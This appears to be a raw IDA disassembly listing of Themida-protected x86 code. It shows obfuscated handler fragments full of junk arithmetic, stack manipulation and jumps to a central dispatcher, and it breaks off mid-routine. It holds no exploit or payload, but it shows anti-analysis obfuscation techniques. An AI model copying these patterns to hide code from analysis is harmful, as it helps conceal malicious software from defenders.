; FUNCTION CHUNK AT 00587034 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AC2E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058CCEB SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0058ECE2 SIZE 00000006 BYTES
push ebx
mov ebx, esp
jmp loc_58AC2E
sub_58B758 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58B760: ; CODE XREF: Themida_:0058B460j
mov esi, esp
push 7278h
mov [esp], ebx
jmp loc_585B9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B76F: ; CODE XREF: sub_585452+6066j
mov [esp-4+arg_0], eax
jmp loc_58CEF6
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A26F
loc_58B777: ; CODE XREF: sub_58A26F+B37j
mov ecx, [esp+0Ch+var_C]
jmp loc_58A70F
; END OF FUNCTION CHUNK FOR sub_58A26F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5877DD
loc_58B77F: ; CODE XREF: sub_5877DD+1j
push esi
push 21C10B67h
pop esi
dec esi
add esi, 0E16DF8ACh
mov ebx, esi
pop esi
push ebp
mov ebp, ebx
jmp loc_589142
; END OF FUNCTION CHUNK FOR sub_5877DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B798: ; CODE XREF: sub_585452-14j
push eax
mov eax, 221F2199h
add eax, 0FFFFFFFFh
shr eax, 7
dec eax
shl eax, 5
jmp loc_588706
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B7AD: ; CODE XREF: Themida_:00584BC5j
mov bh, 77h
jmp loc_5879BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B7B4: ; CODE XREF: sub_585452+1B3Dj
add edi, 32A5290h
mov ebx, edi
pop edi
inc ebx
or ebx, 5838245Eh
shr ebx, 2
xor ebx, 3BC99895h
xor edi, ebx
jmp loc_5891A5
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B7D4: ; CODE XREF: Themida_:0058F8BAj
xor [esp], bp
jmp loc_58F07C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B7DD: ; CODE XREF: sub_585452+5C4Ej
mov edi, 0B71E67FAh
add edi, 66A73E54h
sub edi, ecx
jmp $+5
sub edi, 66A73E54h
mov ecx, [esp+2+var_4+2]
add esp, 4
sub edi, 50272036h
jmp loc_58DAEE
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B809: ; CODE XREF: Themida_:0058E198j
xor ebp, ebx
pop ebx
sub ebp, 0D5ACFD92h
and esi, ebp
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 606083ECh
add esi, ecx
jmp loc_58FDF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58B82A: ; CODE XREF: sub_58C230-70Aj
add esi, 27EA21C5h
mov eax, [esp-0Ch+arg_8]
add esp, 4
push dword ptr [esp+0]
jmp loc_58C2C6
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B83E: ; CODE XREF: sub_585452+22DCj
add edi, 4
xchg edi, [esp-14h+arg_E+2]
pop esp
add esp, 4
and al, dh
jmp loc_58B9CC
; ---------------------------------------------------------------------------
loc_58B852: ; CODE XREF: sub_585452+5F75j
neg ecx
neg ecx
xor ecx, 7D772896h
add ebx, ecx
jmp loc_58413D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58B863: ; CODE XREF: sub_58F728-7EA3j
mov [esp-0Ch+arg_8], ecx
mov ecx, esp
push ebx
push edx
jmp loc_5864C4
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B86F: ; CODE XREF: sub_585452-7Fj
mov esi, esp
add esi, 4
add esi, 4
jmp loc_58D72E
; ---------------------------------------------------------------------------
loc_58B87F: ; CODE XREF: sub_585452+1ECFj
pop esi
sub ecx, 4
xor ecx, [esp-0Ah+arg_4+2]
xor [esp-0Ah+arg_4+2], ecx
xor ecx, [esp-0Ah+arg_4+2]
pop esp
jmp loc_587E06
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B895: ; CODE XREF: Themida_:00589A54j
add edi, 4
jmp loc_58F9FD
; ---------------------------------------------------------------------------
loc_58B89D: ; CODE XREF: Themida_:0058CB2Aj
mov ch, al
jmp loc_58EDBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_583D6F
loc_58B8A4: ; CODE XREF: sub_583D6F+39D8j
mov ebx, ebp
pop ebp
mov eax, ebx
pop ebx
jmp loc_58D2E1
; END OF FUNCTION CHUNK FOR sub_583D6F
; ---------------------------------------------------------------------------
loc_58B8AF: ; CODE XREF: Themida_:0058DEF0j
mov edi, [esp]
add esp, 4
sub esp, 4
jmp loc_58B67A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5862E8
loc_58B8C0: ; CODE XREF: sub_5862E8+58BEj
pop ebp
jmp loc_588CDE
; END OF FUNCTION CHUNK FOR sub_5862E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EA34
loc_58B8C6: ; CODE XREF: sub_58EA34+7j
add [esp+8+var_8], 4
pop ebx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+8+var_8]
jmp loc_586188
; END OF FUNCTION CHUNK FOR sub_58EA34
; ---------------------------------------------------------------------------
loc_58B8E2: ; CODE XREF: Themida_:0058D920j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58B8E7: ; CODE XREF: Themida_:005894F7j
mov esp, [esp]
imul ecx, eax
push ecx
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_584B3F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B8FC: ; CODE XREF: sub_585452+9DD0j
mov eax, 218B2C4Eh
neg eax
add eax, 47DE4ABEh
or eax, 6766087Fh
jmp loc_58DF29
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B912: ; CODE XREF: Themida_:00588624j
pop edi
add edx, 4
xor edx, [esp]
jmp loc_584621
; ---------------------------------------------------------------------------
loc_58B91E: ; CODE XREF: Themida_:00584A43j
xor esi, ebx
pop ebx
mov edi, esi
pop esi
or edi, 5CFD39F8h
and edi, 59DA7E9Fh
push ecx
push edx
jmp loc_58FB61
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B937: ; CODE XREF: sub_585452+7931j
push edx
jmp loc_586C13
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58B93D: ; CODE XREF: sub_58FA66-5AFj
sub eax, 4
xchg eax, [esp+0]
jmp loc_58FC66
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58B948: ; CODE XREF: Themida_:0058CBCCj
pop ebx
jmp loc_58A734
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58B94E: ; CODE XREF: sub_58EFBD-4848j
push esi
mov esi, 1E053585h
xor esi, 1E0535ADh
mov ebx, esi
pop esi
jmp loc_58EB41
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58B962: ; CODE XREF: Themida_:00584837j
xor dh, 0E2h
sub al, 0A8h
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 2
xchg ebp, [esp]
pop esp
mov [esp], dx
mov dl, 56h
add al, dl
jmp loc_58D400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B984: ; CODE XREF: sub_585452+1EA2j
xor edx, 20000015h
mov edi, edx
pop edx
add ebp, edi
jmp loc_585C4C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B994: ; CODE XREF: Themida_:0058769Bj
push edx
mov edx, 0D8D483F0h
add ecx, edx
mov edx, [esp]
add esp, 4
xor ebp, ecx
pop ecx
jmp loc_58F05A
; ---------------------------------------------------------------------------
loc_58B9AA: ; CODE XREF: Themida_:00584B66j
mov eax, esi
pop esi
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], eax
jmp loc_58D02B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_58B9C7: ; CODE XREF: sub_586A34+179Ej
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B9CC: ; CODE XREF: sub_585452+63FBj
pop edx
push 1470h
mov [esp-1Ch+arg_16+2], ebp
mov ebp, esp
push 73A2h
mov [esp-18h+arg_12+2], eax
mov eax, 18635002h
xor eax, 48E255F5h
jmp loc_58EF9E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B9EE: ; CODE XREF: Themida_:0058D35Cj
push ebp
mov ebp, esp
jmp loc_586C4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_58B9F6: ; CODE XREF: sub_58A170+3B86j
not ch
shl ch, 8
push edx
jmp loc_586769
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_58BA01: ; CODE XREF: Themida_:0058ACBBj
add eax, 11783C18h
sub eax, esi
jmp loc_5853E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BA0D: ; CODE XREF: sub_585452+87F0j
pop ebx
push edi
mov edi, 2
add eax, edi
mov edi, [esp-18h+arg_12+2]
add esp, 4
jmp loc_58C9FA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58A6D2
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
sub esp, 4
jmp loc_58FE80
; ---------------------------------------------------------------------------
loc_58BA39: ; CODE XREF: Themida_:00586D2Cj
pop esp
jmp loc_589B3E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BA3F: ; CODE XREF: sub_585452+2E22j
add esp, 4
push 0
push [esp-8+arg_4]
pop ebx
push ecx
push esp
mov ecx, [esp+0]
add esp, 4
push 3351h
mov [esp+0], edx
mov edx, 7DC0786Eh
add edx, 0FFFFFFFFh
sub edx, 7DC07869h
add ecx, edx
pop edx
jmp loc_58CADA
; ---------------------------------------------------------------------------
loc_58BA71: ; CODE XREF: sub_585452+1583j
push 400h
push [esp+4+var_4]
pop ebx
add esp, 4
and eax, ebx
push dword ptr [esp+0]
mov ebx, [esp+4+var_4]
add esp, 4
push esi
push esp
jmp loc_588BD8
; ---------------------------------------------------------------------------
loc_58BA8F: ; CODE XREF: sub_585452+52FCj
sub ebp, 1C640B50h
add ebp, esi
add ebp, 1C640B50h
mov esi, [esp+0Ah+var_C+2]
jmp loc_589298
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BAA5: ; CODE XREF: Themida_:0058A2B4j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58BABA: ; CODE XREF: sub_58F728-6452j
push [esp-4+arg_0]
mov ecx, [esp+0]
add esp, 4
jmp loc_587BF4
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
loc_58BAC8: ; CODE XREF: Themida_:0058EFECj
pop esp
mul cl
movzx cx, ah
push small 2E62h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_58BAE3: ; CODE XREF: sub_589FD5+21j
sub edi, esi
jmp loc_5876D8
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BAEA: ; CODE XREF: sub_585452+7A25j
add eax, ebx
jmp loc_5853CF
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BAF1: ; CODE XREF: Themida_:0058E637j
mov bl, cl
jmp loc_585884
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58BAF8: ; CODE XREF: sub_58C230-296Dj
pop ebx
sub ebx, 1
add ebx, 51F83076h
xor ebx, 0B2B238BCh
mov ecx, ebx
mov ebx, [esp-0Ch+arg_8]
add esp, 4
add esi, 7F0335h
add esi, ecx
push eax
mov eax, 7F0335h
sub esi, 27EA21C5h
sub esi, eax
jmp loc_58B82A
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_58BB2B: ; CODE XREF: Themida_:00584AD1j
mov ecx, ebp
pop ebp
neg ecx
sub ecx, 7F8D06DCh
sub ecx, 18482F7Ch
xor ecx, 0F8CEA548h
add ebp, ecx
jmp loc_58D1B1
; =============== S U B R O U T I N E =======================================
sub_58BB49 proc near ; CODE XREF: sub_585452+280j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00584714 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005872A1 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005888D5 SIZE 0000000B BYTES
push ebp
mov ebp, 27221851h
add [esp+8], ebp
pop ebp
add [esp+4], edx
sub dword ptr [esp+4], 27221851h
jmp loc_584714
sub_58BB49 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58BB65: ; CODE XREF: Themida_:005875FCj
xchg ecx, [esp]
pop esp
mov [esp], ebx
jmp loc_589520
; ---------------------------------------------------------------------------
loc_58BB71: ; CODE XREF: Themida_:0058EEE5j
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
add edx, 4
push eax
mov eax, 2
add edx, eax
pop eax
xchg edx, [esp]
mov esp, [esp]
dec word ptr [esp]
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BB9A: ; CODE XREF: sub_585452+2B60j
sub edx, eax
mov eax, [esp+0]
jmp loc_5869B2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5862E8
loc_58BBA4: ; CODE XREF: sub_5862E8+62C4j
add eax, ebp
jmp loc_58B8C0
; END OF FUNCTION CHUNK FOR sub_5862E8
; ---------------------------------------------------------------------------
loc_58BBAB: ; CODE XREF: Themida_:00584F86j
sub eax, 441F0B51h
add eax, 399D4BF9h
add eax, edi
jmp loc_583D64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BBBC: ; CODE XREF: sub_585452+45ABj
xchg dl, ch
inc dl
xchg dl, ch
push bx
mov bh, 58h
add ch, bh
jmp loc_58FA43
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 2
jmp loc_58BD5E
; ---------------------------------------------------------------------------
loc_58BBDB: ; CODE XREF: Themida_:0058AB13j
push ebp
jmp loc_58B20C
; ---------------------------------------------------------------------------
loc_58BBE1: ; CODE XREF: Themida_:005842BEj
mov [esp], edx
jmp loc_58F89C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BBE9: ; CODE XREF: sub_585452+2DBDj
mov eax, [esp+32h+var_34+2]
sub esp, 4
mov [esp+36h+var_38+2], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+36h+var_38+2]
pop esp
add ebp, 2
xchg ebp, [esp+32h+var_34+2]
pop esp
jmp loc_5865BD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_58BC16: ; CODE XREF: sub_58BE98-40B1j
add edi, 1
jmp loc_58F3B6
; END OF FUNCTION CHUNK FOR sub_58BE98
; ---------------------------------------------------------------------------
loc_58BC1E: ; CODE XREF: Themida_:0058FB93j
and ecx, 361B338Eh
dec ecx
jmp loc_5867A1
; ---------------------------------------------------------------------------
loc_58BC2A: ; CODE XREF: Themida_:00584B1Dj
pop esi
sub esp, 4
mov [esp], ecx
jmp loc_588034
; ---------------------------------------------------------------------------
loc_58BC36: ; CODE XREF: Themida_:00588409j
pop esp
jmp loc_58EF5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BC3C: ; CODE XREF: sub_585452+411Cj
push 15CCh
mov [esp+3Eh+var_40+2], edi
push 17252D2Bh
jmp loc_58EC33
; ---------------------------------------------------------------------------
loc_58BC4E: ; CODE XREF: sub_585452+8ADCj
add ebx, eax
mov eax, [esp+42h+var_44+2]
add esp, 4
pop small word ptr [eax]
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58BC61: ; CODE XREF: sub_585452-648j
xchg esi, [esp-22h+arg_1E]
pop esp
push dword ptr [esp+0]
pop ecx
push eax
push esp
pop eax
add eax, 4
jmp loc_586073
; ---------------------------------------------------------------------------
loc_58BC76: ; CODE XREF: sub_585452+5FABj
or word ptr [esp-4+arg_0], ax
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58BC80: ; CODE XREF: sub_58EFBD-6CA9j
mov edx, 713E5592h
sub edx, 630EFE52h
or eax, edx
pop edx
shr eax, 7
add eax, 7BD6E880h
jmp loc_5881E0
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_58BC9B: ; CODE XREF: sub_58DA2E-262Aj
mov bl, 92h
xor ah, bl
jmp loc_58CDF6
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5878BB
loc_58BCA4: ; CODE XREF: sub_5878BB+3A9Ej
pop dword ptr [edi+24h]
; END OF FUNCTION CHUNK FOR sub_5878BB
; =============== S U B R O U T I N E =======================================
sub_58BCA7 proc near ; CODE XREF: sub_585452+6C4Aj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00584255 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00585F32 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058640A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00586C5C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005888E0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00589CBF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058A9D9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BCE2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F733 SIZE 0000002D BYTES
push ebx
jmp loc_58BCE2
sub_58BCA7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58BCAD: ; CODE XREF: sub_589967+9BAj
xchg edx, [esp+0]
pop esp
shr eax, 12h
xor eax, ecx
sub esp, 4
jmp loc_58D081
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BCBE: ; CODE XREF: sub_585452+6D1j
mov [esp+4+var_4], eax
jmp loc_589C44
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BCC6: ; CODE XREF: Themida_:0058F05Fj
pop ebp
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
mov ebp, 55047E82h
jmp loc_586EC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_58BCE2: ; CODE XREF: sub_58BCA7+1j
push esp
pop ebx
push esi
push ebx
push ecx
jmp loc_58A9D9
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
loc_58BCEC: ; CODE XREF: Themida_:00589E86j
push small 43Ah
mov [esp], ax
jmp loc_589F65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58BCF9: ; CODE XREF: sub_589967-3A14j
add eax, 4
push esi
mov esi, 74BC2FD9h
push ebp
mov ebp, 1D658E1h
shl ebp, 2
dec ebp
jmp loc_58DAD1
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_58BD13: ; CODE XREF: Themida_:0058DFA2j
push ebx
jmp loc_58B6C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589972
loc_58BD19: ; CODE XREF: sub_589972+3960j
mov eax, [esp+0]
push edx
jmp loc_58FF3A
; END OF FUNCTION CHUNK FOR sub_589972
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_585DC4
; ---------------------------------------------------------------------------
loc_58BD2A: ; CODE XREF: Themida_:00588987j
or ebx, ebp
jmp loc_58E739
; ---------------------------------------------------------------------------
loc_58BD31: ; CODE XREF: Themida_:00589754j
mov ecx, 2
jmp loc_585284
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58BD3B: ; CODE XREF: sub_58EFBD-A0B0j
mov ecx, [ebx]
mov ebx, [esp-4+arg_0]
add esp, 4
push [esp-8+arg_4]
pop eax
jmp loc_5884FB
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BD4C: ; CODE XREF: sub_585452+433j
add al, 0A1h
jmp loc_58E69B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BD53: ; CODE XREF: Themida_:0058FEBDj
add eax, edi
pop edi
mov esi, [esp]
jmp loc_58984F
; ---------------------------------------------------------------------------
loc_58BD5E: ; CODE XREF: Themida_:0058BBD6j
mov [esp], bx
jmp loc_58DD2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BD67: ; CODE XREF: sub_585452+17F7j
sub al, bh
pop ebx
sub al, bl
add al, 9Dh
push edx
mov dh, 9Bh
or dh, 7Bh
jmp loc_58CAB1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BD79: ; CODE XREF: Themida_:005885D8j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58BD7E: ; CODE XREF: Themida_:00585073j
add al, dl
mov dx, [esp]
add esp, 2
sub al, bl
jmp loc_583C98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BD91: ; CODE XREF: sub_585452+1C59j
mov ecx, 0B4B5F5Eh
add eax, ecx
jmp loc_584E82
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58BD9D: ; CODE XREF: sub_58C230-24B4j
add ebp, 0EFF41968h
jmp loc_58DA4C
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_583D0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BDB0: ; CODE XREF: sub_585452+9938j
mov [esp+4Ah+var_4C+2], eax
push esp
mov eax, [esp+4Eh+var_50+2]
add esp, 4
push 3BCDh
jmp loc_588DB8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BDC7: ; CODE XREF: Themida_:00589207j
mov esi, ecx
pop ecx
not esi
shl esi, 3
or esi, 292370ACh
inc esi
sub esi, 6D7778B9h
add edx, esi
jmp loc_58ED1F
; ---------------------------------------------------------------------------
loc_58BDE3: ; CODE XREF: Themida_:0058C3BBj
add ebx, 657F59F2h
mov edx, ebx
pop ebx
add ecx, edx
jmp loc_585190
; ---------------------------------------------------------------------------
loc_58BDF3: ; CODE XREF: Themida_:0058E734j
shr dh, 8
neg dh
neg dh
or dh, 0Eh
inc dh
sub dh, 6Ah
mov ah, dh
pop edx
push eax
mov ah, 0B6h
or ah, 19h
push ebx
mov bl, 5Ah
sub ah, bl
pop ebx
and ah, 0BEh
and ah, 5Ch
shl ah, 8
sub ah, 77h
mov bh, ah
pop eax
sub bh, ah
jmp loc_58C004
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BE27: ; CODE XREF: sub_585452+94D1j
add ebp, 4
jmp loc_588B74
; ---------------------------------------------------------------------------
loc_58BE32: ; CODE XREF: sub_585452-16AEj
mov edx, [esp+4+var_4]
add esp, 4
pop ecx
sub al, bh
pop ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp-4+arg_0]
jmp loc_58D652
; ---------------------------------------------------------------------------
loc_58BE56: ; CODE XREF: sub_585452+551Ej
sub ah, ch
pop cx
sub bl, 0FBh
add bl, ah
push edx
mov dh, 0Ah
jmp loc_58C6EF
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_58BE67: ; CODE XREF: sub_5B5756-2A8E0j
dec dh
mov ch, dh
pop dx
shl ch, 5
add ch, 5Bh
sub ch, 1
shl ch, 2
add ch, 37h
sub al, 43h
sub al, 26h
add al, ch
add al, 26h
push ecx
jmp loc_587136
; END OF FUNCTION CHUNK FOR sub_5B5756
; ---------------------------------------------------------------------------
mov ax, [esp]
push 393Dh
jmp loc_588EF4
; =============== S U B R O U T I N E =======================================
sub_58BE98 proc near ; CODE XREF: sub_586B0E+4282j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00584433 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00586935 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00587401 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00587798 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00587DE6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00589126 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BC16 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D0CB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F3B6 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 0FD44638h
xor edi, ecx
push [esp+4+var_4]
jmp loc_587401
sub_58BE98 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BEB0: ; CODE XREF: sub_585452+3168j
xchg ebp, [esp-6+arg_0+2]
pop esp
jmp sub_58A4F5
; ---------------------------------------------------------------------------
loc_58BEB9: ; CODE XREF: sub_585452+3E56j
add esp, 4
add eax, 0FFFFFFFFh
jmp loc_586DDE
; ---------------------------------------------------------------------------
loc_58BEC9: ; CODE XREF: sub_585452-2C7j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
xor al, dh
mov dx, word ptr [esp+6+var_8+2]
add esp, 2
add bl, 8
add bl, al
push cx
sub esp, 4
mov [esp+8+var_8], edx
push eax
mov ah, 3Ah
jmp loc_589960
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BEFB: ; CODE XREF: Themida_:00584A30j
pop edx
add cl, 0BCh
mov dh, cl
jmp loc_58E2BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BF06: ; CODE XREF: sub_585452+997Aj
movzx ax, byte ptr [eax]
push small 414Ah
mov word ptr [esp+0Eh+var_10+2], ax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BF17: ; CODE XREF: Themida_:00585F6Fj
mov [esp], edi
mov edi, 4
sub dword ptr [esp+4], 1A5B3F72h
add [esp+4], edi
push eax
mov eax, 1A5B3F72h
add [esp+8], eax
pop eax
pop edi
jmp loc_5896EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58BF3C: ; CODE XREF: sub_58EFBD-643Ej
add esp, 4
loc_58BF42: ; CODE XREF: sub_58EFBD-776Bj
; sub_58EFBD-4854j
push eax
push ebx
mov ebx, 24h
mov eax, ebx
pop ebx
add eax, 76C11409h
add eax, edi
jmp loc_58DC47
; ---------------------------------------------------------------------------
loc_58BF58: ; CODE XREF: sub_58EFBD-29EAj
xor edx, ebp
push ebp
push 709122C0h
pop ebp
xor edx, ebp
jmp loc_5895BC
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BF68: ; CODE XREF: sub_585452+3E4Ej
push [esp+0Ah+var_C+2]
pop ebp
sub esp, 4
mov [esp+0Eh+var_10+2], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0Eh+var_10+2]
jmp loc_587AD0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58BF88: ; CODE XREF: Themida_:00588AC5j
mov si, 22E1h
mov cx, si
pop si
push si
mov si, 7E9Bh
sub ax, si
pop si
push esi
mov si, 1C34h
shl si, 1
